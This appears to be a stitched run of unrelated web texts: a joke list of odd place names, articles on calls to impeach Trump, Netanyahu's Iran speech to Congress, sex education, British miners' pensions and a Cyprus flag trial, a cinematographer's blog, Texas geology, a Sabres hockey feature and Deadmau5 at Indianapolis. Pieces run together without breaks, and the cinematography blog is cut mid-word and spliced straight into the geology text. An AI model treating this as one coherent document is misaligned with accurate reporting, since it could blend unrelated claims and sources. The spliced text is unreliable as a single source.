Flateby Means "lesbian village" in Norwegian.
Flesh Hovel Lane A road in Barrow Upon Soar, Leicestershire, England. Its name originates from the time of the Quorn Hunt, where horses that were no longer fit for purpose where taken to slaughter at the abattoir situated on Flesh Hovel Lane.
Flippin There is no McDonalds here so flipping burgers is off the table. They probably just flip the bird instead.
Florence, South Carolina A town in the path of Hurricane Florence.
Fluffy Landing A place with pink unicorns and rainbows.
Football Mountain A mountain in Antarctica.
Fort Cockhill An 18th century military fort.
Foulness Island An island off the east coast of Essex. It actually smells quite nice there.
Frankenstein Neither Victor nor Herman ever lived or worked here...it's named after Gottfried Franken, who donated land for the construction of a church in 1890.
Frenchbeer A small Hamlet in Devon, United Kingdom. The town bartender must make a lot of trips through the Chunnel to get beer on tap.
Friend A small town in Grand Traverse County, Michigan, in the same county as "Alone"
Friendship A town in Knox County, Maine. Okay, who's been making lots of friends there?
Fries McDonalds should probably think about relocating their headquarters to this place.
Frostproof First settled permanently in the 1880s, this "friendly" Central Florida city of about 3,000 was thought to be "frostproof" in regards to winters for the numerous citrus orchards there, as early as the late-1890s.
Fucking A town in Austria whose signs keep disappearing, and which had a pilsner beer partly inspired by its name. The name is pronounced to rhyme with "looking". At least we all know what this town's favorite pastime is.
Fukah, Egypt If only the Egyptian could put "mother" in front of this cities name.
Fukechō Station This train station is where couples go to cheat on each other. "Fukechō" means something along the lines of "cheating city" or "infidelity town" in Japanese.
Funny River A town in Alaska.
Fuquay-Varina A town in Wake County, North Carolina. They were originally separate towns (Fuquay Springs and Varina) before the two places merged in 1963.
Future City, Kentucky Another "future city" that isn't actually a future city.Advertisement
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Calls for impeachment
Donald trump has had a bumpy start to his presidency. His decision not to divest from his financial dealings, and his partial ban on seven Muslim majority countries has drawn criticism and even calls for impeachment. An online poll created on the day of Trump's inauguration has garnered almost one million submissions indicating support for impeachment. Recent polls indicate that 46% of Americans approve of impeachment, while 46% are opposed. This comes in contrast to the popularity bump that presidents historically enjoy after inauguration.
JUST IN: Michael Moore Releases Plan To IMMEDIATELY Impeach Donald Trump (DETAILS) https://t.co/YAQTyzXv1O pic.twitter.com/PziGGWLvJf — Bipartisan Report (@Bipartisanism) November 10, 2016
And in the House of Representatives, where any impeachment proceedings would occur, four representatives have already indicated their interest in impeaching Trump; Representatives Maxine Waters of California, Jerrold Nadler of New York, Mark Pocan of Wisconsin, and Joaquin Castro of Texas.
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Nadler, a top Democrat in the House Judiciary Committee, has gone as far as to file "Articles of Inquiry" into the president. This is considered the first step toward an impeachment process. And now there is a citizen's lead movement to impeach at WeImpeach.org.
Many are dismissive of calls for impeachment, as the House of Representatives is squarely in Republican control. However, there have been indications "behind-the-scenes" that Republicans may be more open to the idea than the public might suspect. Robert Reich, a former secretary of labor under Clinton, claims to know of contingency plans being made by congressional Republicans to impeach Trump if things get out of control. There is also Stephen Calabresi, a prominent conservative (who served in two Republican administrations and is currently a law professor at Northwestern) who has indicated that "impeachment needs to be on the table."
Citizen's impeachment movement
Even with these rumblings, Republicans in Congress would need to be under more pressure before they would start to break ranks and risk losing the power they have only recently gained.
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One organization (Impeach for Peace) is busy building that pressure. They've researched the methods available in the rules of the House to initiate impeachment. The rules list several methods by which impeachment can be set in motion (a resolution by a House representative, a state legislature, a grand jury, etc). Before the House Judiciary Committee can put together "Articles of Impeachment" (a set of charges against a public official), one of the methods must be implemented. One method outlined in the manual is for individual citizens to initiate the impeachment process. This method was used once by a Missouri citizen to impeach a federal judge. Citizens are instructed to submit a "memorial" for impeachment (a written statement of facts charging a government official with impeachable offenses).
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The 1826 memorial by Luke Edward Lawless successfully impeached Federal Judge James H. Peck.
Impeach for Peace has used this 1826 memorial as a template for a "Formal Impeachment Petition" available on their website. They are maintaining a webpage where the public can track the number of memorials submitted state-by-state, as well as the number of representatives in the House currently supporting impeachment. When filling out the online form, people have the option of choosing a recommended impeachable offense (currently they have listed the immigration ban), or you can stipulate your own reasons you believe Trump has abused his power.
Citizen's Impeach Trump Method. The rules of House allow us to initiate. It already impeached a federal judge.https://t.co/t8qKWvPcGT pic.twitter.com/yHpH8ABmmO — Impeach (@ImpeachForPeace) February 14, 2017
There's no telling what kind of effect this new tool will have on the movement. It may end up providing encouragement to hesitant Democrats in Congress. It may also provide pressure to Republicans in Congress, who may eventually need to acquiesce to impeachment. To be clear, only one petition was needed in the case of Judge James H. Peck. However, impeachment is acknowledged to be a political process. Therefore, in this political environment, we can expect the need for a larger outcry by the public, and many more such memorials, before impeachment is likely.Media playback is unsupported on your device Media caption Israeli PM Benjamin Netanyahu says a deal with Iran could pave the path to Tehran acquiring nuclear weapons
The Israeli prime minister has warned that a deal under discussion on Iran's nuclear programme could "pave its way to the bomb", rather than block it.
In a speech to US Congress punctuated by standing ovations, Benjamin Netanyahu depicted Iran as a "threat to the entire world".
Talks on Iran's nuclear programme are nearing a critical late-March deadline for an outline agreement to be reached.
The speech comes just two weeks before a closely fought election in Israel.
Mr Netanyahu insisted that he was not trying to meddle in internal US politics.
The White House had criticised his plan to address Congress - at Republican invitation, without consulting the White House - saying the Israeli leader was trying to swell US opposition to any Iran deal.
Following the speech, US President Barack Obama told reporters he had seen "nothing new" in the speech transcript.
"On the core issue, which is how to prevent Iran from obtaining a nuclear weapon which would make it far more dangerous, the prime minister did not offer any viable alternatives," he said.
Image copyright Getty Images Image caption Mr Netanyahu was searing in his denunciation of the deal being negotiated with Iran
Image copyright Getty Images Image caption His speech was interrupted by regular standing ovations from US lawmakers
Image copyright Getty Images Image caption But some, such as House Democratic Leader Nancy Pelosi (right), held back applause and sometimes showed visible signs of disagreement
Image copyright Reuters Image caption Mr Netanyahu's speech, with handwritten edits, urged US lawmakers to block any forthcoming deal with Iran
The US, UK, France, Germany, Russia and China are seeking to reach agreement to curtail Iran's nuclear programme in exchange for sanctions relief.
They fear Iran has ambitions to build a nuclear bomb - something Iran denies, insisting it is merely exercising its right to peaceful nuclear power.
Negotiators are currently working towards a late-March deadline for an outline agreement with Iran, which would be followed by a detailed deal by the end of June.
But Mr Netanyahu said: "We've been told that no deal is better than a bad deal. Well this is a bad deal, a very bad deal."
Analysis: BBC Middle East editor Jeremy Bowen
The speech was classic Netanyahu. He mixed the politics of fear with the politics of bravery in adversity. Iran was gobbling up Middle East states - a reference to its influence in Syria, Lebanon, Iraq and Yemen - while Israel stood strong, never again allowing the Jews to be passive victims.
It was a direct intervention in American politics. Prime Minister Netanyahu wants the Congress to do all it can to block an agreement with Iran, if one is made.
Iran, he said, must change its aggressive behaviour before any deal.
Mr Netanyahu's critics say he's manipulating the close relationship between Israel and the US for political advantage. Democratic leader Nancy Pelosi said she was close to tears during the speech - because it was condescending and insulted the intelligence of Americans.
But there's no doubt that Mr Netanyahu sees the threat from Iran as real, and his skilful rhetoric will connect with many Americans. If there is a deal, President Obama will need to deploy his own considerable way with words to sell it to his own people.
Key quotes: Netanyahu speech
Jon Sopel: 'Chutzpah' in Capitol
'March of conquest'
Mr Netanyahu was greeted with whoops and cheers as he made his way to the podium, shaking hands as he went.
His speech was frequently interrupted with applause, but dozens of Democrats stayed away - including Vice-President Joe Biden.
House minority leader Nancy Pelosi at times refused to clap and later issued a statement saying Mr Netanyahu's speech had been an "insult to the intelligence of the United States" which had left her near tears.
Mr Netanyahu insisted the Israel-US relationship "must remain above politics" and that he was "grateful for the support of the American people".
But he quickly went on to the meat of his speech, saying Iran had proven time and time again that it could not be trusted.
The country was on a "march of conquest, subjugation and terror", he said.
"Iran's regime is as radical as ever, the ideology is deeply rooted in militant Islam... it will always be an enemy of US".
Its participation in the battle against Islamic State did not make it a friend, he said: "This enemy of your enemy is your enemy."
Analysis: Kevin Connolly, BBC News, Jerusalem
Image copyright EPA Image caption Mr Netanyahu's speech also played to an Israeli audience - two weeks before he fights for re-election
Benjamin Netanyahu's rivals in Israel's election face a dilemma as the applause from the speech in Washington begins to die down.
It's been hugely frustrating for them to watch him walking the world stage and worse still watching the speech on television.
They are the kind of television images you cannot buy in an election campaign - the Houses of Congress rising repeatedly in standing ovations.
But if they repeat their warnings that Mr Netanyahu is endangering Israeli security by alienating the White House they risk protracting a story which has played to the prime minister's advantage.
Many of them, like the opposition leader Yitzhak Herzog, feel they're just as tough on Iran as Mr Netanyahu - they just don't have access to the world stage as he does.
Mr Netanyahu's Likud party is already asking voters if they can imagine any other Israeli politician making such a speech.
The opposition want to start talking instead about the cost of living and the other issues where they feel they have an advantage - they just hope images of Mr Netanyahu basking in a warm bath of applause fade before polling day in two weeks' time.
Mr Netanyahu went on to criticise the likely contours of the deal currently being negotiated in Switzerland, where Iranian Foreign Minister Javad Zarif met US Secretary of State John Kerry on Tuesday.
He said it relied heavily on international monitoring, when Iran "plays a pretty good game of 'hide and cheat' with UN inspectors".
He said it would leave Iran with a vast nuclear infrastructure and lift restrictions on its nuclear programmes in a decade.
"This deal doesn't block Iran's path to the bomb, it paves Iran's path to the bomb," Mr Netanyahu said.
Nuclear Iran: What world powers want - and what they fear
World powers imposed sanctions on Iran because they felt it was not being honest about its nuclear programme and was seeking the ability to build a nuclear bomb.
Tehran denied this. Talks between Iran and six world powers known as the P5+1 have tried to allay the suspicions in exchange for easing the sanctions
Specifically, the world powers want to curtail Iran's ability to enrich uranium, which can be used to make reactor fuel but also nuclear weapons
Disagreement centres on how to limit Iran's development and use of centrifuges that enrich uranium
Faster enrichment would cut the time Iran would need to produce enough weapons-grade uranium for a weapon, were it to choose to do so. The US wants this "break-out window" to be at least a year long
It is not known if Iran has a warhead or suitable delivery system
Iran's main nuclear sitesGiving advice is one of those things. I’m not sure, exactly, why people come to me for counsel, but I definitely like telling people what to do, and usually they find my words enlightening. So…sometimes I like to seek out and answer strangers’ questions on the Internet.
Every time I find myself on some site where people are asking for advice, I end up giving desperate teenagers straight talk sex education, because kids in this country seem woefully uninformed about birth control, pregnancy, sexually transmitted diseases, not to mention their basic sexual rights as human beings. It’s surprising how ignorant some of these kids are. They definitely shouldn’t be having sex at all, but since they’re going to do it anyway, it behooves them to go at it armed with all the information they need to do it safely.
Why are they so woefully ignorant?
Abstinence only education is an oxymoron. The vast majority of Americans will have premarital sex. Most of them will do so for the first time before they’re 21. Half of them will do so by the time they’re 17. Some of them are younger. The ones who’ve learned to protect their bodies and respect themselves will learn and grow and stay safe throughout their experiences. The ones who have been taught nothing will end up like this. Or this. Or this. Because one of the most harmful things you can do to a child’s psyche is alienate that child from their body.
People like to have sex because, if you do it right, sex is awesome. But to do it right, you need to start with the right knowledge, and that information takes years to acquire. Toddlers need honest information about their bodies, and so do grade school kids, and so do teenagers. It’s a long conversation. If you think that you are somehow protecting your family by not having it, try checking those 3 links in the last paragraph again.
People who receive abstinence only education are much more likely to experience unplanned pregnancies and contract STIs. The only proven way to reduce the incidence of abortion in any community is to ensure that everyone receives comprehensive sex ed and access to affordable birth control.
Or, conversely, you could hide your head under a false pretext and pretend not to notice when things start catching fire.
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The Government has spent a huge £10 BILLION of pension cash which could have benefited retired miners.
And in the meantime some of the pensioners are getting disgracefully low payouts of as little as £10 a week or less.
The Government has been mining the rich seam of pension money for 23 years.
And Chancellor Philip Hammond still intends to snaffle £51million a year, or £153million between now and 2019.
(Image: PA)
Now Labour MPs in former pit constituencies want a halt – and are demanding Mr Hammond gives future windfalls to former miners and their families instead.
Ex-shadow minister Gloria De Piero, who is leading the 22-MP group, accused the Treasury of pocketing an “obscene amount” of cash already and said: “Enough is enough.”
The row dates back to 1994, when British Coal was privatised and ministers agreed the Government would act as guarantor for its two pension schemes.
Under the deal, any future surplus would be split 50/50 between the Treasury and scheme members.
(Image: PA)
The Mineworkers’ Pension Scheme had 200,000 members and the British Coal Staff Superannuation Scheme 57,000.
While they were working miners contributed 5.25 per cent of their pay towards pensions.
In 1996 it was estimated the funds would generate a £2billion surplus over the next 25 years.
But they are doing much better than expected and the Treasury got a total of £10billion to spend on what it liked.
This huge sum has arisen from surpluses, money held as an investment reserve and a £1.1billion, seven-year contributions holiday dating back to British Coal’s involvement.
Now Ms De Piero and the National Union of Mineworkers want extra money shared out more fairly in future.
The MP for Ashfield, Notts said: “We can’t turn the clock back. But in next month’s Budget I call on the Tories to put things right by promising future surpluses will go to ex-miners and their widows.”
(Image: Manchester Evening News)
Ms De Piero has already met Business Secretary Greg Clark to find a solution but got no joy.
Now she is setting up further talks with the MPS pension trustees to see if a new deal can be hammered out.
Former Notts NUM area president Keith Stanley added: “A lot of pensioners are on very, very low pensions whilst the Government has been making billions.
“If we had run the MPS on our own maybe pensioners would not be on less than £10 a week pensions now. The spirit of the scheme when it was set up was to benefit miners, not governments.”
The Government has received £3.4billion in its role as guarantor of the MPS and a further £3.1billion from the BCSSS.
The investment reserve funds are nearly £2.8billion while the contributions holiday dating back to 1987-94 takes the final sum to more than £10billion.
The money the Government has trousered would have been enough to pay for 16 new hospitals, 11,100 MRI scanners or hire 131,000 extra doctors. Coal mining has been going through a steady decline since the 1950s when there were 1,334 deep-mines and 92 surface mines.
The last deep mines in the UK, Hatfield and Kellingley, Yorks and Thoresby, Notts, closed in 2015.
The Business Department said: “The Government continues to guarantee pensions will be paid. Members have received pensions approximately 30 per cent larger than would have been the case without the guarantee and these will rise with inflation.”
According to official estimates, 4,891 defined benefit schemes were in deficit last year and 1,054 in surplus.
Whitehall splurge equals £40,000 for each pensioner
(Image: Reuters)
The fortune spent by Whitehall is equal to £40,000 for each pensioner.
And if each got a share in the £51million to be taken out for the next three years, it would amount to £600.
Ex-miner Trevor Sowter, 82, of Huthwaite, Notts said: “That would be very useful.”
Trevor, above, who gets £200 a week, added: “We wanted our pensions protected but we never expected to be robbed later.
“If we’d known then what we know now we’d never have agreed to the deal.”By Evie Andreou
THE TRIAL of a Turkish Cypriot couple, charged for hanging the Cyprus Republic’s flag outside their home and shop in June last year in Famagusta has been postponed until July 11.
Koray Basdogrultmaci and Cinel Senem Husseyin were charged with offences against public order.
The couple was arrested and jailed even though they had tried to explain to the Turkish Cypriot police that Basdogrultmaci, who was arrested four years ago for the same reason, had been acquitted in court.
The couple said hanging the flag was their way of protesting the Turkish Prime Minister’s hypocrisy. Tayyip Erdogan had, the previous day attended the opening ceremony of the Mediterranean Games in Mersin, in Turkey where the Cypriot flag had flown unimpeded.
The Turkish Cypriot couple protested that the Cypriot flag could wave in Turkey but not in northern Cyprus.
The trial has been postponed several times already. At the April 9, 2014 hearing, which was postponed because the judge who was to hear the case was on maternity leave, the couple was asked to show remorse and be fined but they refused.
The next hearing was set for May 6 and the couple was warned that they would risk be heavily fined and even incarcerated but the trial was postponed because “the police witnesses were not in court” the Cyprus Mail was told by Tina Adamidou, a personal friend of the couple. “I wonder what the next excuse will be” said Adamidou who believes that they have no real reason to proceed with the case and that’s why it is being constantly postponed.
The couple who prefer to call themselves ‘Turkish-speaking Cypriots’, declared they’d rather go to prison than pay any fine and that in such a case they would file a case at the European Court of Human Rights.
“The couple is being victimised for their beliefs and they are standing proud stating they are willing to go to jail to protect their basic human right, freedom of expression,” said Adamidou who said the case has already been reported to Amnesty International.
“There are no laws pertaining to flying the Cypriot flag, so the trumped-up charges of ‘disturbing the peace’ are the charges that this couple will have to face,” she said.
According to the couple’s information the complaint had come from five mainland Turks because they did not want the Cyprus flag hanging opposite their workshop.
“If that’s the case then why didn’t the breakaway regime’s policemen arrest the man who hung provocatively two huge flags on his balcony during the Good Friday liturgy in Famagusta? The police had asked him to remove them and he refused but he was not arrested or taken to court,” said Adamidou.
During the latest hearing on Tuesday, 15 people gathered in support outside of the court. The couple’s friends are also trying to better inform the public.
To show his support, following the trial postponement, Sener Elcil, the Turkish Cypriot Teacher’s Syndicate’s (KTÖS) General Secretary, released an announcement saying that the incident has fully exposed the policies of the breakaway regime and that policies like these were designed to force Turkish Cypriots to leave the island. He also said that the trial of the couple was an occupation policy and Turkish Cypriots were becoming a minority in their own country.
“Holding and hanging the Cyprus Republic flag is not a crime. The related trial against Koray and Cinel Basdogrultmaci is completely political and Turkish authorities are the ones who are responsible,” the announcement said. Ercil expressed his support and solidarity to the couple and his intention to cite international law in support of anyone who’s been treated unfairly by the system.Welcome back to Tstops!
About 2 months ago, I had the opportunity to work on five very different commercials, within about a 1 month span. 2x Fashion spots, 1 Toy commercial, 1 spot for Sesame Street and finally a sneaker commercial with a cross marketing twist. I found these five commercials very interesting as they were each so different. Different styles, directors, locations and circumstances. It was really fun to shoot with so much variety.
Lets start with the first fashion Spot.
1: “Ties That Bind” For Bradford and Young; Luxury accessory maker, directed by Jennifer Massaux.
Shot on Alexa Studio with Zeiss Super Speed MK I lenses. This is the Alexa with the optical viewfinder and Spinning mirror shutter. It’s wonderful having an optical viewfinder, feels so much better than a EVF.
This shoot really is a great culmination of many elements. We shot in the Presidential suite of the Waldorf Astoria Hotel, with Victoria’s Secret model Sarah Stephens. How could we go wrong? Beautiful talent, beautiful location, beautiful camera and lenses. Jennifer, our director, is one of the fastest and best prepared directors I have had the pleasure of working with. She got access to the location weeks before the shoot, and shot an Iphone previs with Artemis shot by shot, then animated it so it had a sense of pacing. This meant that I had the advantage of being able to know exactly how long each shot needed to be. Thus, we could focus on making each of those moments as perfect as possible. The catch on this shoot was the fact that we only had 6 hours to shoot the whole thing, load in to tail lights. Having concise shots, and frames already established just let us focus so intensely on exactly what we needed and nothing else. I used the latitude of the alexa to its fullest using the natural sunlight, and shaping the contrast in the room with black floppies and a 1.8K ARRI M18 with a Chimera as selective fill.
Take this shot for example:
The main ambient is sunlight, with a side kick from the M18. Lighting Diagram from below. I rated the camera at 800, then dropped in an ND.9 and on some shots an ND.3 to keep the lens around a T2.8. There was also a 1/8th Hollywood Black Magic Filter in play as well as a 1/4 Pearl Filter. The HBM filter is a combination of 1/8th Classic HD Soft, and 1/8th Black Promist. It softens the already soft highlights, and helps keep the models skin looking completely flawless. The pearl filter is similar to the Blackmagic, but includes white diffusion, making it glow a bit. The Pearl was used in the bedroom, the HBM was used in the darker scenes.
I am very happy with how this piece came out. It goes to show, putting amazing things in front of the camera is far more important than the camera itself.
Tom Wong IATSE lcl600 DIT did the grade in DaVinci. He is a stellar colorist, and really knocked it out of the park.
In reality this was a fashion shoot, but it was 90% beauty, the direction I really want to go in.
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2: “Fall Fashion” for HSN, directed by Little Marvin
This was more or less a classic commercial. Big studio, big lights, crafty table, canvas chairs and 10 monitors….
Over the course of the last few years, the Home Shopping Network has been trying to freshen up their look while retaining their signature style. The challenge on this shoot was time management. We had three models, and 10 looks each, all shot in 60F
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rock clays and shales.[14]
Great Plains [ edit ]
The Great Plains include the Llano Estacado, the Panhandle, Edwards Plateau, Toyah Basin, and the Llano Uplift. It is bordered on the east by the Caprock Escarpment in the panhandle and by the Balcones Fault to the southeast. Cities in this region include Midland and Odessa, Lubbock, and Amarillo. The Hill Country is a popular name for the area of hills along the Balcones Escarpment and is a transitional area between the Great Plains and the Gulf Coastal Plains. With about 15 to 31 inches (380 to 790 mm) annual rainfall, the southern end of the Great Plains are gently rolling plains of shrub and grassland, and home to the dramatic Caprock Canyons and Palo Duro Canyon state parks.[12] The largest concentration of playa lakes in the world (nearly 22,000) is on the Southern High Plains of Texas and Eastern New Mexico.
Texas' blackland prairies were some of the first areas farmed in Texas. Highly expansive clays with characteristic dark coloration, called the Houston Black series, occur on about 1.5 million acres (6,000 km²) extending from north of Dallas south to San Antonio. The Professional Soil Scientists Association of Texas has recommended to the State Legislature that the Houston Black series be designated the State soil. The series was established in 1902.[15] National Parks in this area are the Lyndon B. Johnson National Historical Park and the San Antonio Missions National Historical Park.[13]
Mountains and basins [ edit ]
The Trans-Pecos Natural Region has less than 12 inches (300 mm) annual rainfall. The most complex Natural Region, it includes Sand Hills, the Stockton Plateau, desert valleys, wooded mountain slopes and desert grasslands. The Basin and Range Province is in West Texas, west of the Pecos River, beginning with the Davis Mountains on the east and the Rio Grande to its west and south. The Trans-Pecos region is the only part of Texas regarded as mountainous and includes seven named peaks in elevation greater than 8,000 feet (2,400 m). This region includes sand hills, desert valleys, wooded mountain slopes and desert grasslands.[12] The vegetation diversity includes at least 268 grass species and 447 species of woody plants.[16] National Parks include the Amistad National Recreation Area, Big Bend National Park, Chamizal National Memorial, Fort Davis National Historic Site, Guadalupe Mountains National Park, and the Rio Grande Wild and Scenic River.[13] This area is part of the Chihuahuan Desert.
Geology [ edit ]
Texas is mostly sedimentary rocks, with East Texas underlain by a Cretaceous and younger sequence of sediments, the trace of ancient shorelines east and south until the active continental margin of the Gulf of Mexico is met. This sequence is built atop the subsided crest of the Appalachian Mountains–Ouachita Mountains–Marathon Mountains zone of Pennsylvanian continental collision, which collapsed when rifting in Jurassic time opened the Gulf of Mexico. West from this orogenic crest, which is buried beneath the Dallas–Waco–Austin–San Antonio trend, the sediments are Permian and Triassic in age. Oil is found in the Cretaceous sediments in the east, the Permian sediments in the west, and along the Gulf coast and out on the Texas continental shelf. A few exposures of Precambrian igneous and metamorphic rocks are found in the central and western parts of the state, and Oligocene volcanic rocks are found in far west Texas, in the Big Bend area. A blanket of Miocene sediments known as the Ogallala formation in the western high plains region is an important aquifer. Texas has no active or dormant volcanoes and few earthquakes, being situated far from an active plate tectonic boundary. The Big Bend area is the most seismically active; however, the area is sparsely populated and suffers minimal damages and injuries, and no known fatalities have been attributed to a Texas earthquake.
Resources [ edit ]
With a large supply of natural resources, Texas is a major agricultural and industrial state, producing oil, cattle, sheep, and cotton. The state also produces poultry, eggs, dairy products, greenhouse and nursery products, wheat, hay, rice, sugar cane, and peanuts, and a range of fruits and vegetables.[17]
Asphalt-bearing rocks, mainly cretaceous limestones, occur in Bexar, Burnet, Kinney, Uvalde, and other counties.
Cement is produced in Bexar, Comal, Dallas, Ector, Ellis, El Paso, Harris, Hays, McLennan, Nolan, Nueces, Potter, and Tarrant counties. Historically, Texas' Portland cement output accounts for about 10% of the annual United States production. [ citation needed ]
With an abundance of various types of clays, Texas is one of the leading producers of clays.
Bituminous coal occurs primarily in Coleman, Eastland, Erath, Jack, McCulloch, Montague, Palo Pinto, Parker, Throckmorton, Wise, and Young counties of Texas. Lignite, or brown coal, occurs in deposits in the Texas Coastal Plain.
Fluorspar or fluorite is an important industrial mineral used in the manufacture of steel, aluminum, glass, and fluorocarbons. It occurs at several localities in the Trans-Pecos and Llano regions of Texas.
Collecting gemstone rock and mineral specimens has proved quite profitable. Agate, jasper, cinnabar, fluorite, topaz, calcite, opal, petrified wood, and tektites are all commonly collected.
Deposits of graphite occur in the Llano region and was previously produced in Burnet County.
Bat guano occurs in numerous caverns in the Edwards Plateau and in the Trans-Pecos region and to a more limited extent in Central Texas.
Gypsum is extensively developed in Texas where the main occurrences are in the Permian Basin, the Cretaceous Edwards Formation in Gillespie and Menard counties, and the Gulf Coast salt domes of Harris County and previously Brooks County.
Texas is the leading producer of helium solely from the Cliffside gas field near Amarillo.
Deposits of iron ore are present in northeastern Texas as well as several in Central Texas.
Elements of the Lanthanide series are commonly termed rare-earth elements. Several of the rare earths have anomalous concentrations in the rhyolitic and related igneous rocks in the Trans-Pecos area of Texas. A deposit containing several rare-earth minerals was exposed at Barringer Hill in Llano County before it was covered by the waters of Lake Buchanan.
Limestones, abundant in many parts of Texas, are used in the manufacture of lime. Plants for the production of lime are operating in Bexar, Bosque, Burnet, Comal, Deaf Smith, Hill, Johnson, Nueces, and Travis counties.
Magnesium chloride, magnesium sulfate and other mineral salts are present in the Upper Permian Basin and in the underlying playas of the High Plains.
Manganese is known to occur in Precambrian rocks in Mason and Llano counties, in Val Verde County, in Jeff Davis County, and in Dickens County.
Mica is present in Precambrian pegmatite in the Llano region.
Common opal occurs on the Texas Coastal Plain.
Salts occurs in large quantities in salt domes in the Texas Coastal Plain and with other evaporites in the Permian Basin of West Texas, as well as near Grand Saline, Texas.
Sands used for industrial purposes commonly have been found in the Texas Coastal Plains, East Texas, north central Texas, and Central Texas; and sand mines have opened in the Shinnery (dunes) ecosystem of northern West Texas and the eastern part of the West Wingtip.
The discovery of silver in Texas has been credited by some to Franciscans who discovered and operated mines near El Paso about 1680. Documented silver production started in the late 1880s at the Presidio Mine, in Presidio County. Texas produced 32,663,405 troy ounces of silver between 1885 and 1955
Sulfur occurs in the caprocks of salt domes in the Gulf Coastal Plain, in Permian-age bedded deposits in Trans-Pecos Texas.
In the past, uranium was produced from surface mines in Atascosa, Gonzales, Karnes, and Live Oak counties. All uranium mines are closed and Texas is no longer a producer. [18]
The Barnett Shale, located in the Fort Worth basin, has gained attention in recent years as a source of natural gas. Controversy regarding drilling and exploration rights is an issue.Marcus Foligno knows there were times he couldn’t keep up with Jack Eichel. He also knows that by driving the net and acting as bodyguard, he gave Eichel more room to show his skills.
Foligno hopes that was enough to stay next to the Sabres’ high-scoring center.
No left winger played more with Eichel this season than Foligno. They were on the ice together 32.4 percent of the time, according to LeftWingLock.com, and each has career-high totals to show for it.
Primarily the Sabres’ shutdown winger, Foligno had a good time on the scoring line alongside Eichel and right wing Sam Reinhart.
“I hope I’m back there next year,” Foligno said as the Sabres cleaned out their lockers. “Obviously, you want to be with the best players on the team. We had some good games with Jack and Sam.”
Foligno set a career high with 13 goals, with 12 coming at even strength. He and Eichel combined on seven goals.
For that number to rise, Foligno will have to add a few offensive weapons to his game. The 6-foot-3 power forward plays a simple, straight-ahead style, while Eichel thrives on speed and creativity.
“It’s just to make sure I get more space for those guys, maybe get a little bit more offensive awareness when I’m with them, make a little extra pass or hold on to pucks,” Foligno said. “Sometimes I wasn’t a little bit too skilled for them. I had to be a little more creative out there for those guys.
“But for the most part I liked playing with them and liked their game when we were out there. I think Jack had a lot of room out there to do his things, and he had a great year. We’ll see what happens next year.”
The search for Eichel’s long-term left winger could also include Evander Kane, Alex Nylander, Justin Bailey and Hudson Fasching. Buffalo may look outside the organization. No matter who it ends up being, Foligno feels he’s shown he can be a key member of the Sabres.
Before Johan Larsson got hurt, Foligno joined the center and right wing Brian Gionta in forming the shutdown line. Foligno was also a penalty killer who scored one of Buffalo’s three short-handed goals.
He did it while playing a career-high 80 games. He missed the final two with a minor knee injury.
“I was surprised I got to play 80 games this year,” he said. “I was in the gym quite a bit, making sure I was staying strong and on top of my workouts. I just felt really good the whole year. My body and shoulders are good, nothing like I’ve had in the past where I’ve had some shoulder injuries.”
Foligno remained in the lineup despite using his body as a weapon. He averaged 3.5 hits per game, second among NHL forwards. He trailed only Toronto’s Matt Martin (3.7).
“You’re up in there leading in hits in the league, and that takes a toll on your body,” Foligno said. “There were some games where I didn’t feel 100 percent all the time, but it was definitely a good season, something I need to build off of.”
The 25-year-old, who finished his sixth NHL season, is reaching the point where his family experiences a growth spurt. His brother, Nick, had a pedestrian sixth season, recording six goals in 45 games during lockout-shortened 2012-13. He scored 18 goals in his seventh year and 31 in his eighth.
Nick became the Blue Jackets’ captain and led them into the playoffs this year.
“I talk to Nick every day,” Marcus said. “He’s a tremendous leader for their team in Columbus, and he’s got a ton of respect in that dressing room. He’s done a lot.
“You just take little things. As a leader sometimes, you’ve got to lead by example on the ice. That’s the biggest thing. If you’re not playing your best, others won’t follow.”
Foligno had a $2.25 million salary this year and will be a restricted free agent this summer. He knows changes are coming. He’s never played a postseason game, but he wants to be around when the Sabres finally make it back to the playoffs.
“I felt really good about my game this year,” Foligno said. “I think the consistency’s there with physicality, all that stuff. I think offensively, there was a time where it was going really well and then there was a little bit of a blunder.
“I felt like I was a leader for this team when it came to being hard and playing a physical role. Sticking up for teammates is what I do best, and I have no regrets this season. It could have been better offensive numbers, but the majority five-on-five and penalty kill, you can only do so much.
“We’ll see what happens in the offseason to become a better team and make sure this doesn’t happen for next season.”CLOSE Electronic music producer Deadmau5 and James Hinchcliffe, both from Toronto, talk at the Indianapolis Motor Speedway about taking laps and a local beer project, Oct. 15, 2014. Robert Scheer/The Star
Electronic Dance Music star visits driver James Hinchcliffe at track
IndyCar driver James Hinchcliffe (left) and Electronic Dance Music producer Deadmau5, both from Toronto, pose Wednesday at Indianapolis Motor Speedway. (Photo: Robert Scheer / The Star)
Electronic dance music star Joel "Deadmau5" Zimmerman makes his living by assembling percussion, beats and rhythms for a worldwide audience.
On Wednesday, he banged around in a different way at Indianapolis Motor Speedway.
As the passenger in a two-seat Indy Racing Experience car driven by James Hinchcliffe, Deadmau5 marveled at being jostled during tight turns on the track's road course.
"My kneecaps are still on," he said after exiting the car. "He's hitting these brake points at the last possible millisecond, and he's hitting them hard."
Deadmau5, pronounced "dead mouse," and Hinchcliffe both hail from Toronto, and the musician is a sincere enthusiast when it comes to motorsports. For recent song "Infra Turbo Pigcart Racer," Deadmau5 sampled audio of his Ferrari 458 Italia while revving down Toronto's Lake Shore Boulevard.
During his just-for-fun visit to IMS, Deadmau5 got a taste of what Hinchcliffe and other drivers experience on the track's road course.
Wet conditions ruled out a ride on the Indianapolis 500 oval, but rain tires are OK on the 14-turn course used during this year's inaugural Grand Prix of Indianapolis (which Hinchcliffe mentioned that he only partly remembers because of a concussion sustained after flying debris hit his helmet).
Conor Daly, who drove in the 2013 Indy 500, watched Hinchcliffe and Deadmau5 execute their handful of laps.
"You don't get the grip and speed as much," Daly said of the soggy track. "But it's more fun for the driver, because it's arms and elbows crossed up a little bit."
Daly said he and Deadmau5 — who performed at the 2013 Grammy Awards, 2010 MTV Video Music Awards and headlined the 2011 edition of Chicago's Lollapalooza festival — have been Twitter acquaintances for some time.
EDM fan Daly encouraged Deadmau5 to attend this summer's Hondy Indy Toronto double-header event in July. That's where the musician took his first two-seat ride, and the Verizon IndyCar Series gifted him the helmet he wore on Wednesday: a stylish black matte model accented by glossy "Deadmau5" logos.
In Indianapolis, Deadmau5 quizzed Hinchcliffe about the steering-wheel paddle shift system in race cars, and Hinchcliffe warned that the weather could translate into sideways action on the track.
As Deadmau5 was belted into the car, he joked, "Wait, I have to pee."
